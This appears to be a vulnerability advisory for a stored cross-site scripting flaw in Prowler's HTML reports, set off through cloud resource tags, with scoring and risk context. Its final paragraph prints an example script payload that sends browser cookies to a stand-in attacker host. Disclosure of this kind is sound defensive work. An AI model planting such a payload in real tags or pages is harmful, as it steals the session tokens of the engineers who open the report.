Prowler CVE-2026-73262

Two specific conditions must both be satisfied: (1) the attacker must hold cloud IAM permissions to write or update resource tags on at least one resource included in the Prowler scan scope - for example, AWS tag:TagResources, an Azure Tag Contributor role assignment, or a GCP equivalent - and (2) a Prowler operator must generate a report using the HTML output format and open that report file in a browser (UI:R). The vulnerability does not affect JSON, CSV, or other non-HTML Prowler output formats. It does not require the attacker to have direct network access to the Prowler host, the operator's machine, or any Prowler infrastructure - the cloud tag is the sole injection vector. Exploitation is confined to the browser context of whoever opens the HTML report; it does not grant direct cloud API access or code execution on the Prowler host itself.

The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) scores 5.4 (Medium), accurately reflecting the stored-XSS pattern: low-privilege cloud access to write tags, a required user interaction to view the HTML report, and a scope change when the payload executes in the operator's browser. EPSS data is absent from the provided intelligence, and no KEV listing is present, indicating no confirmed widespread exploitation at time of analysis. Real-world risk is highly context-dependent: organizations that generate Prowler HTML reports in CI/CD pipelines and distribute them to engineering teams via shared portals face meaningful exposure, and even a mid-sized municipal IT team in gdynia operating shared Prowler dashboards should treat this as a priority upgrade given the low exploitation complexity once tag-write permissions are held. The primary limiting factor is PR:L - the attacker must first hold or compromise a cloud identity with tag-write permissions, which is a non-trivial precondition in well-governed environments. However, in organizations with broad self-service tagging permissions for developers, this bar is substantially lower. CVSS and description signals are consistent and not conflicting.

An attacker holding AWS IAM permissions sufficient to call tag:TagResources sets a resource tag value to a JavaScript payload such as <script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script> on any resource within Prowler's scan scope. When a security engineer next runs Prowler with HTML output enabled and opens the resulting report in a browser, the payload executes in the engineer's browser context, potentially exfiltrating session tokens or performing browser-side actions under the engineer's identity. No standalone public exploit code has been identified, but the attack is straightforward to reconstruct from the public patch diff in PR #12221.